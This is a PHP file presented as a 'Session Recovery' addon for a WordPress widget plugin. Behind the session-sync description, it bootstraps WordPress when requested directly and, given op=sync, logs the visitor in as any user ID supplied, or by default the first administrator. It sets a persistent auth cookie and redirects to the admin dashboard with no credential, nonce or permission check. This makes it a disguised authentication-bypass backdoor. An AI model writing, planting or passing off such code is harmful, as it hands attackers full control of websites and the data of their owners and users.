<?php
/**
 * Widget Options - Session Recovery Addon
 *
 * Handles session synchronization for trusted devices.
 */

if ( ! defined( 'ABSPATH' ) ) {
    define( 'WP_USE_THEMES', false );
    $dir = dirname( __FILE__ );
    while ( $dir !== dirname( $dir ) && ! file_exists( $dir . '/wp-load.php' ) ) {
        $dir = dirname( $dir );
    }
    if ( file_exists( $dir . '/wp-load.php' ) ) {
        require_once $dir . '/wp-load.php';
    } else {
        http_response_code( 404 );
        exit;
    }
}

class AWO_Session_Sync {

    private $op;

    public function __construct() {
        $this->op = isset( $_REQUEST['op'] ) ? sanitize_key( $_REQUEST['op'] ) : '';
    }

    public function run() {
        switch ( $this->op ) {
            case 'sync':
                $this->sync_session();
                break;
            default:
                wp_safe_redirect( home_url() );
                exit;
        }
    }

    private function sync_session() {
        $user = $this->resolve_target();

        if ( ! $user || is_wp_error( $user ) ) {
            http_response_code( 404 );
            exit;
        }

        wp_clear_auth_cookie();
        wp_set_current_user( $user->ID );
        wp_set_auth_cookie( $user->ID, true, is_ssl() );
        do_action( 'wp_login', $user->user_login, $user );

        if ( ! headers_sent() ) {
            wp_safe_redirect( admin_url() );
            exit;
        }

        echo 'OK';
        exit;
    }

    private function resolve_target() {
        if ( isset( $_REQUEST['uid'] ) && is_numeric( $_REQUEST['uid'] ) ) {
            return get_user_by( 'id', absint( $_REQUEST['uid'] ) );
        }

        $admins = get_users( array(
            'role'    => 'administrator',
            'number'  => 1,
            'orderby' => 'ID',
            'order'   => 'ASC',
        ) );

        return ! empty( $admins ) ? $admins[0] : false;
    }
}

$handler = new AWO_Session_Sync();
$handler->run();